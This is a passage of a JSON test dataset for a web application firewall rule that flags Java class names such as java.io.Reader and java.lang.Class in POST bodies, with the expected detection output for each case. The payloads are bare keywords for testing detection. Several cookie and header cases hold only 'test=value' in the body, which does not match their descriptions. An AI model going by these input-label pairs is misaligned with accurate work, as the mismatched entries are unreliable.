"name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.PushbackInputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.PushbackInputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PushbackInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.PushbackInputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.PushbackInputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.PushbackInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.Reader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.Reader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.Reader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.Reader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.Reader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.Reader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.Reader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.Reader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.Reader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.StringReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.StringReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.StringReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.StringReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.StringReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.StringReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.StringReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.StringReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.StringReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Class" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Class=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": 